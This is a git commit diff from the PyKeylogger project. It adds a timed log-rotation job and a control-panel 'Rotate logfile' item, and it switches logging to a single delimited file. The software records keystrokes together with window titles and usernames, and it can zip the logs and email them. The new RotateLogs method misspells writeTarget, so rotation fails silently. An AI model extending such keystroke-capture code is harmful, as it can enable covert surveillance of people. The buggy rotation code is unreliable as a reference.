add log rotator job for the one delimited log file mode.

nanotube [2007-08-28 04:51]
add log rotator job for the one delimited log file mode.
Filename
controlpanel.py
logwriter.py
pykeylogger.ini
pykeylogger.val
diff --git a/controlpanel.py b/controlpanel.py
index 0f833ee..475b7a6 100644
--- a/controlpanel.py
+++ b/controlpanel.py
@@ -10,185 +10,186 @@ import webbrowser
 from supportscreen import SupportScreen

 class PyKeyloggerControlPanel:
-    def __init__(self, cmdoptions, mainapp):
-        self.cmdoptions=cmdoptions
-        self.mainapp=mainapp
-        self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
+	def __init__(self, cmdoptions, mainapp):
+		self.cmdoptions=cmdoptions
+		self.mainapp=mainapp
+		self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)

-        self.root = Tk()
-        self.root.config(height=20, width=20)
-        self.root.geometry("+200+200")
-        self.root.protocol("WM_DELETE_WINDOW", self.ClosePanel)
-        #self.root.iconify()
-        #if self.panelsettings['General']['Master Password'] != "x\x9c\x03\x00\x00\x00\x00\x01":
-        #    self.PasswordDialog()
-        #print len(self.panelsettings['General']['Master Password'])
-        #print zlib.decompress(self.panelsettings['General']['Master Password'])
-        passcheck = self.PasswordDialog()
-
-        # call the password authentication widget
-        # if password match, then create the main panel
-        if passcheck == 0:
-            self.InitializeMainPanel()
-            self.root.mainloop()
-        elif passcheck == 1:
-            self.ClosePanel()
-
-    def InitializeMainPanel(self):
-        #create the main panel window
-        #root = Tk()
-        #root.title("PyKeylogger Control Panel")
-        # create a menu
+		self.root = Tk()
+		self.root.config(height=20, width=20)
+		self.root.geometry("+200+200")
+		self.root.protocol("WM_DELETE_WINDOW", self.ClosePanel)
+		#self.root.iconify()
+		#if self.panelsettings['General']['Master Password'] != "x\x9c\x03\x00\x00\x00\x00\x01":
+		#	self.PasswordDialog()
+		#print len(self.panelsettings['General']['Master Password'])
+		#print zlib.decompress(self.panelsettings['General']['Master Password'])
+		passcheck = self.PasswordDialog()
+
+		# call the password authentication widget
+		# if password match, then create the main panel
+		if passcheck == 0:
+			self.InitializeMainPanel()
+			self.root.mainloop()
+		elif passcheck == 1:
+			self.ClosePanel()
+
+	def InitializeMainPanel(self):
+		#create the main panel window
+		#root = Tk()
+		#root.title("PyKeylogger Control Panel")
+		# create a menu

-        self.root.title("PyKeylogger Control Panel")
-        self.root.config(height=200, width=200)
-
-        menu = Menu(self.root)
-        self.root.config(menu=menu)
+		self.root.title("PyKeylogger Control Panel")
+		self.root.config(height=200, width=200)
+
+		menu = Menu(self.root)
+		self.root.config(menu=menu)

-        actionmenu = Menu(menu)
-        menu.add_cascade(label="Actions", menu=actionmenu)
-        actionmenu.add_command(label="Flush write buffers", command=Command(self.mainapp.lw.FlushLogWriteBuffers, "Flushing write buffers at command from control panel."))
-        actionmenu.add_command(label="Zip Logs", command=Command(self.mainapp.lw.ZipLogFiles))
-        actionmenu.add_command(label="Send logs by email", command=Command(self.mainapp.lw.SendZipByEmail))
-        #actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet
-        #actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet
-        actionmenu.add_command(label="Delete logs older than " + self.panelsettings['Log Maintenance']['Max Log Age'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs))
-        actionmenu.add_separator()
-        actionmenu.add_command(label="Close Control Panel", command=self.ClosePanel)
-        actionmenu.add_command(label="Quit PyKeylogger", command=self.mainapp.stop)
+		actionmenu = Menu(menu)
+		menu.add_cascade(label="Actions", menu=actionmenu)
+		actionmenu.add_command(label="Flush write buffers", command=Command(self.mainapp.lw.FlushLogWriteBuffers, "Flushing write buffers at command from control panel."))
+		actionmenu.add_command(label="Zip Logs", command=Command(self.mainapp.lw.ZipLogFiles))
+		actionmenu.add_command(label="Send logs by email", command=Command(self.mainapp.lw.SendZipByEmail))
+		#actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet
+		#actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet
+		actionmenu.add_command(label="Delete logs older than " + self.panelsettings['Log Maintenance']['Max Log Age'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs))
+		actionmenu.add_command(label="Rotate logfile", command=Command(self.mainapp.lw.RotateLogs))
+		actionmenu.add_separator()
+		actionmenu.add_command(label="Close Control Panel", command=self.ClosePanel)
+		actionmenu.add_command(label="Quit PyKeylogger", command=self.mainapp.stop)

-        optionsmenu = Menu(menu)
-        menu.add_cascade(label="Configuration", menu=optionsmenu)
-        for section in self.panelsettings.sections:
-            optionsmenu.add_command(label=section + " Settings", command=Command(self.CreateConfigPanel, section))
+		optionsmenu = Menu(menu)
+		menu.add_cascade(label="Configuration", menu=optionsmenu)
+		for section in self.panelsettings.sections:
+			optionsmenu.add_command(label=section + " Settings", command=Command(self.CreateConfigPanel, section))

-        helpmenu = Menu(menu)
-        menu.add_cascade(label="Help", menu=helpmenu)
-        helpmenu.add_command(label="Manual [Web-based]", command=Command(webbrowser.open, "http://pykeylogger.sourceforge.net/wiki/index.php/PyKeylogger:Usage_Instructions"))
-        helpmenu.add_command(label="About", command=Command(SupportScreen, self.root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35))
+		helpmenu = Menu(menu)
+		menu.add_cascade(label="Help", menu=helpmenu)
+		helpmenu.add_command(label="Manual [Web-based]", command=Command(webbrowser.open, "http://pykeylogger.sourceforge.net/wiki/index.php/PyKeylogger:Usage_Instructions"))
+		helpmenu.add_command(label="About", command=Command(SupportScreen, self.root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35))

-    def PasswordDialog(self):
-        #passroot=Tk()
-        #passroot.title("Enter Password")
-        mypassword = mytkSimpleDialog.askstring("Enter Password", "Password:", show="*", rootx_offset=-20, rooty_offset=-35)
-        if mypassword != myutils.password_recover(self.panelsettings['General']['Master Password']):
-            if mypassword != None:
-                tkMessageBox.showerror("Incorrect Password", "Incorrect Password")
-            return 1
-        else:
-            return 0
-
-    def ClosePanel(self):
-        self.mainapp.panel = False
-        self.root.destroy()
-
-    def callback(self):
-        tkMessageBox.showwarning(title="Not Implemented", message="This feature has not yet been implemented")
-
-    def CreateConfigPanel(self, section):
-
-        # reload the settings so that we are reading from the file,
-        # rather than from the potentially modified but not yet written out configobj
-        del(self.panelsettings)
-        self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
-
-        self.configpanel = ConfigPanel(self.root, title=section + " Settings", settings=self.panelsettings, section=section)
-
+	def PasswordDialog(self):
+		#passroot=Tk()
+		#passroot.title("Enter Password")
+		mypassword = mytkSimpleDialog.askstring("Enter Password", "Password:", show="*", rootx_offset=-20, rooty_offset=-35)
+		if mypassword != myutils.password_recover(self.panelsettings['General']['Master Password']):
+			if mypassword != None:
+				tkMessageBox.showerror("Incorrect Password", "Incorrect Password")
+			return 1
+		else:
+			return 0
+
+	def ClosePanel(self):
+		self.mainapp.panel = False
+		self.root.destroy()
+
+	def callback(self):
+		tkMessageBox.showwarning(title="Not Implemented", message="This feature has not yet been implemented")
+
+	def CreateConfigPanel(self, section):
+
+		# reload the settings so that we are reading from the file,
+		# rather than from the potentially modified but not yet written out configobj
+		del(self.panelsettings)
+		self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
+
+		self.configpanel = ConfigPanel(self.root, title=section + " Settings", settings=self.panelsettings, section=section)
+

 class ConfigPanel(mytkSimpleDialog.Dialog):

-    def __init__(self, parent, settings, section, title=None):
-        self.settings=settings
-        self.section=section
-        mytkSimpleDialog.Dialog.__init__(self, parent, title)
+	def __init__(self, parent, settings, section, title=None):
+		self.settings=settings
+		self.section=section
+		mytkSimpleDialog.Dialog.__init__(self, parent, title)

-    def body(self, master):
-
-        index=0
-        self.entrydict=dict()
-        self.tooltipdict=dict()
-        for key in self.settings[self.section].keys():
-            if key.find("NoDisplay") == -1: #don't want to display settings that shouldn't be changed
-                if key.find("Tooltip") == -1:
-                    Label(master, text=key).grid(row=index, sticky=W)
-                    self.entrydict[key]=Entry(master)
-                    if key.find("Password") == -1:
-                        self.entrydict[key].insert(END, self.settings[self.section][key])
-                    else:
-                        self.entrydict[key].insert(END, myutils.password_recover(self.settings[self.section][key]))
-                    self.entrydict[key].grid(row=index, column=1)
-                    self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=500, text=self.settings[self.section][key + " Tooltip"])
-                    index += 1
-
-    def validate(self):
-
-        for key in self.entrydict.keys():
-            if key.find("Password") == -1:
-                self.settings[self.section][key] = self.entrydict[key].get()
-            else:
-                self.settings[self.section][key] = myutils.password_obfuscate(self.entrydict[key].get())
-
-        errortext="Some of your input contains errors. Detailed error output below.\n\n"
-
-        val = Validator()
-        valresult=self.settings.validate(val, preserve_errors=True)
-        if valresult != True:
-            if valresult.has_key(self.section):
-                sectionval = valresult[self.section]
-                for key in sectionval.keys():
-                    if sectionval[key] != True:
-                        errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
-                tkMessageBox.showerror("Erroneous input. Please try again.", errortext)
-            return 0
-        else:
-            return 1
-
-    def apply(self):
-        # this is where we write out the config file to disk
-        self.settings.write()
-        tkMessageBox.showinfo("Restart PyKeylogger", "You must restart PyKeylogger for the new settings to take effect.")
+	def body(self, master):
+
+		index=0
+		self.entrydict=dict()
+		self.tooltipdict=dict()
+		for key in self.settings[self.section].keys():
+			if key.find("NoDisplay") == -1: #don't want to display settings that shouldn't be changed
+				if key.find("Tooltip") == -1:
+					Label(master, text=key).grid(row=index, sticky=W)
+					self.entrydict[key]=Entry(master)
+					if key.find("Password") == -1:
+						self.entrydict[key].insert(END, self.settings[self.section][key])
+					else:
+						self.entrydict[key].insert(END, myutils.password_recover(self.settings[self.section][key]))
+					self.entrydict[key].grid(row=index, column=1)
+					self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=500, text=self.settings[self.section][key + " Tooltip"])
+					index += 1
+
+	def validate(self):
+
+		for key in self.entrydict.keys():
+			if key.find("Password") == -1:
+				self.settings[self.section][key] = self.entrydict[key].get()
+			else:
+				self.settings[self.section][key] = myutils.password_obfuscate(self.entrydict[key].get())
+
+		errortext="Some of your input contains errors. Detailed error output below.\n\n"
+
+		val = Validator()
+		valresult=self.settings.validate(val, preserve_errors=True)
+		if valresult != True:
+			if valresult.has_key(self.section):
+				sectionval = valresult[self.section]
+				for key in sectionval.keys():
+					if sectionval[key] != True:
+						errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n"
+				tkMessageBox.showerror("Erroneous input. Please try again.", errortext)
+			return 0
+		else:
+			return 1
+
+	def apply(self):
+		# this is where we write out the config file to disk
+		self.settings.write()
+		tkMessageBox.showinfo("Restart PyKeylogger", "You must restart PyKeylogger for the new settings to take effect.")

 class Command:
-    ''' A class we can use to avoid using the tricky "Lambda" expression.
-    "Python and Tkinter Programming" by John Grayson, introduces this
-    idiom.
-
-    Thanks to http://mail.python.org/pipermail/tutor/2001-April/004787.html
-    for this tip.'''
+	''' A class we can use to avoid using the tricky "Lambda" expression.
+	"Python and Tkinter Programming" by John Grayson, introduces this
+	idiom.
+
+	Thanks to http://mail.python.org/pipermail/tutor/2001-April/004787.html
+	for this tip.'''

-    def __init__(self, func, *args, **kwargs):
-        self.func = func
-        self.args = args
-        self.kwargs = kwargs
+	def __init__(self, func, *args, **kwargs):
+		self.func = func
+		self.args = args
+		self.kwargs = kwargs

-    def __call__(self):
-        apply(self.func, self.args, self.kwargs)
+	def __call__(self):
+		apply(self.func, self.args, self.kwargs)

 if __name__ == '__main__':
-    # some simple testing code
-    settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"}
-    class BlankKeylogger:
-        def stop(self):
-            pass
-        def __init__(self):
-            self.lw=BlankLogWriter()
-
-    class BlankLogWriter:
-        def FlushLogWriteBuffers(self, message):
-            pass
-        def ZipLogFiles(self):
-            pass
-        def SendZipByEmail(self):
-            pass
-        def DeleteOldLogs(self):
-            pass
-
-    class BlankOptions:
-        def __init__(self):
-            self.configfile="pykeylogger.ini"
-            self.configval="pykeylogger.val"
-
-    klobject=BlankKeylogger()
-    cmdoptions=BlankOptions()
-    myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
\ No newline at end of file
+	# some simple testing code
+	settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"}
+	class BlankKeylogger:
+		def stop(self):
+			pass
+		def __init__(self):
+			self.lw=BlankLogWriter()
+
+	class BlankLogWriter:
+		def FlushLogWriteBuffers(self, message):
+			pass
+		def ZipLogFiles(self):
+			pass
+		def SendZipByEmail(self):
+			pass
+		def DeleteOldLogs(self):
+			pass
+
+	class BlankOptions:
+		def __init__(self):
+			self.configfile="pykeylogger.ini"
+			self.configval="pykeylogger.val"
+
+	klobject=BlankKeylogger()
+	cmdoptions=BlankOptions()
+	myapp = PyKeyloggerControlPanel(cmdoptions, klobject)
\ No newline at end of file
diff --git a/logwriter.py b/logwriter.py
index feac7aa..e0877e2 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -45,7 +45,7 @@ class LogWriter:
 	'''
 	def __init__(self, settings, cmdoptions, q):

-		self.sepKey = '|' # should move this off into the ini file. just temporarily here.
+		#self.sepKey = '|' # should move this off into the ini file. just temporarily here.
 		self.q = q
 		self.settings = settings
 		self.cmdoptions = cmdoptions
@@ -63,7 +63,8 @@ class LogWriter:

 		self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+")	  #regexp filter for the non-allowed characters in windows filenames.

-		self.writeTarget = ""
+		##don't need to initialize this with the delimited log format
+		#self.writeTarget = ""
 		if self.settings['General']['System Log'] != 'None':
 			try:
 				self.systemlog = open(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['System Log']), 'a')
@@ -75,7 +76,7 @@ class LogWriter:
 			except:
 				self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")

-		# initialize self.log to None, so that we dont attempt to flush it until it exists
+		# initialize self.log to None, so that we dont attempt to flush it until it exists, and so we know to open it when it's closed.
 		self.log = None

 		# Set up the subset of keys that we are going to log
@@ -99,10 +100,11 @@ class LogWriter:
 			self.oldlogtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Age Check Interval'])*60*60, 0, self.DeleteOldLogs)
 			self.oldlogtimer.start()

+		## don't need anymore with the delimited log format
 		# initialize the automatic timestamp timer
-		if self.settings['Timestamp']['Timestamp Enable'] == True:
-			self.timestamptimer = mytimer.MyTimer(float(self.settings['Timestamp']['Timestamp Interval'])*60, 0, self.WriteTimestamp)
-			self.timestamptimer.start()
+		#~ if self.settings['Timestamp']['Timestamp Enable'] == True:
+			#~ self.timestamptimer = mytimer.MyTimer(float(self.settings['Timestamp']['Timestamp Interval'])*60, 0, self.WriteTimestamp)
+			#~ self.timestamptimer.start()

 		# initialize the automatic log flushing timer
 		self.flushtimer = mytimer.MyTimer(float(self.settings['General']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"])
@@ -117,10 +119,13 @@ class LogWriter:
 		if self.settings['Zip']['Zip Enable'] == True:
 			self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles)
 			self.ziptimer.start()
+
+		# initialize the log rotation job
+		self.logrotatetimer = mytimer.MyTimer(float(self.settings['General']['Log Rotation Interval'])*60*60, 0, self.RotateLogs)
+		self.logrotatetimer.start()
+

 	def start(self):
-		self.stopflag=False
-		self.eventlist = range(7) #initialize our eventlist to something.
 		## line format:
 		## date; time (1 minute resolution); fullapppath; hwnd; username; window title; eventdata
 		##
@@ -136,6 +141,9 @@ class LogWriter:
 		## put the line into a list, check if all contents (except for eventdata) are equal, if so, just append eventdata to existing eventdata.
 		## on flush or on exit, make sure to write the latest dataline

+		self.stopflag=False
+		self.eventlist = range(7) #initialize our eventlist to something.
+
 		while self.stopflag == False:
 			try:
 				event = self.q.get(timeout=2)
@@ -170,7 +178,7 @@ class LogWriter:
 		'''Pass the event ascii value through the requisite filters.
 		Returns the result as a string.
 		'''
-		if chr(event.Ascii) == self.sepKey:
+		if chr(event.Ascii) == self.settings['General']['Log File Field Separator']:
 			return('[sep_key]')

 		if event.Ascii in self.asciiSubset:
@@ -232,8 +240,8 @@ class LogWriter:
 		if self.eventlist != range(7):
 			line = ""
 			for item in self.eventlist:
-				line = line + str(item) + self.sepKey
-			line = line.rstrip(self.sepKey) + '\n'
+				line = line + str(item) + self.settings['General']['Log File Field Separator']
+			line = line.rstrip(self.settings['General']['Log File Field Separator']) + '\n'

 			self.PrintStuff(line)

@@ -435,99 +443,125 @@ class LogWriter:
 			emaillog.write(zipFileList.pop())
 			emaillog.close()

-	def ZipAndEmailTimerAction(self):
-		'''This is a timer action function that zips the logs and sends them by email.
-
-		deprecated - should delete this.
-		'''
-		self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
-		self.ZipLogFiles()
-		self.SendZipByEmail()
+	#~ def ZipAndEmailTimerAction(self):
+		#~ '''This is a timer action function that zips the logs and sends them by email.
+
+		#~ deprecated - should delete this.
+		#~ '''
+		#~ self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
+		#~ self.ZipLogFiles()
+		#~ self.SendZipByEmail()

 	def OpenLogFile(self, event):
 		'''Open the appropriate log file, depending on event properties and settings in .ini file.
+		Now, we only need to open the one file logfile
 		'''
 		# if the "onefile" option is set, we don't that much to do:
-		if self.settings['General']['One File'] != 'None':
-			if self.writeTarget == "":
-				self.writeTarget = os.path.join(os.path.normpath(self.settings['General']['Log Directory']), os.path.normpath(self.settings['General']['One File']))
-				try:
-					self.log = open(self.writeTarget, 'a')
-				except OSError, detail:
-					if(detail.errno==17):  #if file already exists, swallow the error
-						pass
-					else:
-						self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-						return False
-				except:
-					self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-					return False
-
-				#write the timestamp upon opening the logfile
-				if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
-
-				self.PrintDebug("writing to: " + self.writeTarget + "\n")
-			return True
-
-		# if "onefile" is not set, we start playing with the logfilenames:
-		subDirName = self.filter.sub(r'__',self.processName)	  #our subdirname is the full path of the process owning the hwnd, filtered.
-		subDirName = subDirName.decode(sys.getfilesystemencoding())
-
-		WindowName = self.filter.sub(r'__',str(event.WindowName))
-
-		filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName + ".txt"
-		filename = filename.decode(sys.getfilesystemencoding())
-
-		#make sure our filename plus path is not longer than 255 characters, as per filesystem limit.
-		#filename = filename[0:200] + ".txt"
-		if len(os.path.join(self.settings['General']['Log Directory'], subDirName, filename)) > 255:
-			if len(os.path.join(self.settings['General']['Log Directory'], subDirName)) > 250:
-				self.PrintDebug("root log dir + subdirname is longer than 250. cannot log.")
-				return False
-			else:
-				filename = filename[0:255-len(os.path.join(self.settings['General']['Log Directory'], subDirName))-4] + ".txt"
-
-
-		#we have this writetarget conditional to make sure we dont keep opening and closing the log file when all inputs are going
-		#into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
-		#already-opened file.
-		if self.writeTarget != os.path.join(self.settings['General']['Log Directory'], subDirName, filename):
-			if self.writeTarget != "":
-				self.FlushLogWriteBuffers("flushing and closing old log\n")
-				#~ self.PrintDebug("flushing and closing old log\n")
-				#~ self.log.flush()
-				self.log.close()
-			self.writeTarget = os.path.join(self.settings['General']['Log Directory'], subDirName, filename)
-			self.PrintDebug("writeTarget:" + self.writeTarget + "\n")
-
-			try:
-				os.makedirs(os.path.join(self.settings['General']['Log Directory'], subDirName), 0777)
-			except OSError, detail:
-				if(detail.errno==17):  #if directory already exists, swallow the error
-					pass
-				else:
-					self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
-					return False
-			except:
-				self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
-				return False
-
+		#subDirName = self.filter.sub(r'__',self.processName)
+		# Filter out any characters that are not allowed as a windows filename, just in case the user put them into the config file
+		#self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
+
+		# do stuff only if file is closed. if it is open, we don't have to do anything at all, just return true.
+		if self.log == None:
+			# Filter out any characters that are not allowed as a windows filename, just in case the user put them into the config file
+			self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
+			self.writeTarget = os.path.join(os.path.normpath(self.settings['General']['Log Directory']), os.path.normpath(self.settings['General']['Log File']))
 			try:
 				self.log = open(self.writeTarget, 'a')
+				self.PrintDebug("writing to: " + self.writeTarget + "\n")
+				return True
 			except OSError, detail:
 				if(detail.errno==17):  #if file already exists, swallow the error
 					pass
 				else:
-					self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+					self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
 					return False
 			except:
-				self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+				self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
 				return False
+		else:
+			return True
+
+		#~ if self.settings['General']['One File'] != 'None':
+			#~ if self.writeTarget == "":
+				#~ self.writeTarget = os.path.join(os.path.normpath(self.settings['General']['Log Directory']), os.path.normpath(self.settings['General']['One File']))
+				#~ try:
+					#~ self.log = open(self.writeTarget, 'a')
+				#~ except OSError, detail:
+					#~ if(detail.errno==17):  #if file already exists, swallow the error
+						#~ pass
+					#~ else:
+						#~ self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+						#~ return False
+				#~ except:
+					#~ self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+					#~ return False
+
+				#~ #write the timestamp upon opening the logfile
+				#~ if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
+
+				#~ self.PrintDebug("writing to: " + self.writeTarget + "\n")
+			#~ return True
+
+		#~ # if "onefile" is not set, we start playing with the logfilenames:
+		#~ subDirName = self.filter.sub(r'__',self.processName)	  #our subdirname is the full path of the process owning the hwnd, filtered.
+		#~ subDirName = subDirName.decode(sys.getfilesystemencoding())
+
+		#~ WindowName = self.filter.sub(r'__',str(event.WindowName))
+
+		#~ filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName + ".txt"
+		#~ filename = filename.decode(sys.getfilesystemencoding())
+
+		#~ #make sure our filename plus path is not longer than 255 characters, as per filesystem limit.
+		#~ #filename = filename[0:200] + ".txt"
+		#~ if len(os.path.join(self.settings['General']['Log Directory'], subDirName, filename)) > 255:
+			#~ if len(os.path.join(self.settings['General']['Log Directory'], subDirName)) > 250:
+				#~ self.PrintDebug("root log dir + subdirname is longer than 250. cannot log.")
+				#~ return False
+			#~ else:
+				#~ filename = filename[0:255-len(os.path.join(self.settings['General']['Log Directory'], subDirName))-4] + ".txt"
+
+
+		#~ #we have this writetarget conditional to make sure we dont keep opening and closing the log file when all inputs are going
+		#~ #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
+		#~ #already-opened file.
+		#~ if self.writeTarget != os.path.join(self.settings['General']['Log Directory'], subDirName, filename):
+			#~ if self.writeTarget != "":
+				#~ self.FlushLogWriteBuffers("flushing and closing old log\n")
+				## self.PrintDebug("flushing and closing old log\n")
+				## self.log.flush()
+				#~ self.log.close()
+			#~ self.writeTarget = os.path.join(self.settings['General']['Log Directory'], subDirName, filename)
+			#~ self.PrintDebug("writeTarget:" + self.writeTarget + "\n")

-			#write the timestamp upon opening a new logfile
-			if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
+			#~ try:
+				#~ os.makedirs(os.path.join(self.settings['General']['Log Directory'], subDirName), 0777)
+			#~ except OSError, detail:
+				#~ if(detail.errno==17):  #if directory already exists, swallow the error
+					#~ pass
+				#~ else:
+					#~ self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+					#~ return False
+			#~ except:
+				#~ self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+				#~ return False
+
+			#~ try:
+				#~ self.log = open(self.writeTarget, 'a')
+			#~ except OSError, detail:
+				#~ if(detail.errno==17):  #if file already exists, swallow the error
+					#~ pass
+				#~ else:
+					#~ self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+					#~ return False
+			#~ except:
+				#~ self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+				#~ return False
+
+			#~ #write the timestamp upon opening a new logfile
+			#~ if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()

-		return True
+		#~ return True

 	def PrintStuff(self, stuff):
 		'''Write stuff to log, or to debug outputs.
@@ -548,6 +582,20 @@ class LogWriter:
 	def WriteTimestamp(self):
 		self.PrintStuff("\n[" + time.asctime() + "]\n")

+	def RotateLogs(self):
+		'''This will close the log file, set self.log to None, move the file to a dated filename.
+		Then, openlogfile will take care of opening a fresh logfile by itself.'''
+
+		if self.log != None:
+			rotatetarget = os.path.join(os.path.normpath(self.settings['General']['Log Directory']), os.path.normpath(time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File']))
+			self.log.close()
+			self.log = None
+			try:
+				os.rename(self.writetarget, rotatetarget)
+			except:
+				self.PrintDebug("Error rotating logfile")
+
+
 	def DeleteOldLogs(self, lastmodcutoff=None):
 		'''Walk the log directory tree and remove old logfiles.

@@ -599,17 +647,19 @@ class LogWriter:
 		self.stopflag = True
 		time.sleep(3)
 		self.queuetimer.cancel()
-		self.WriteToLogFile()

+		self.WriteToLogFile()
 		self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
 		self.flushtimer.cancel()
-
+
+		self.logrotatetimer.cancel()
+
 		if self.settings['E-mail']['SMTP Send Email'] == True:
 			self.emailtimer.cancel()
 		if self.settings['Log Maintenance']['Delete Old Logs'] == True:
 			self.oldlogtimer.cancel()
-		if self.settings['Timestamp']['Timestamp Enable'] == True:
-			self.timestamptimer.cancel()
+		#~ if self.settings['Timestamp']['Timestamp Enable'] == True:
+			#~ self.timestamptimer.cancel()
 		if self.settings['Zip']['Zip Enable'] == True:
 			self.ziptimer.cancel()

diff --git a/pykeylogger.ini b/pykeylogger.ini
index 0796212..69a5728 100644
Binary files a/pykeylogger.ini and b/pykeylogger.ini differ
diff --git a/pykeylogger.val b/pykeylogger.val
index 33de24a..d673f1b 100644
--- a/pykeylogger.val
+++ b/pykeylogger.val
@@ -42,6 +42,10 @@ Log File = string(default="logfile.txt")
 Log File Field Separator Tooltip = string()
 Log File Field Separator = string(default="|")

+# default: 4.0
+Log Rotation Interval Tooltip = string()
+Log Rotation Interval = string(min=0.016, default=4.0)
+
 # default: 120
 Flush Interval Tooltip = string()
 Flush Interval = float(min=10, default=120.0)
ViewGit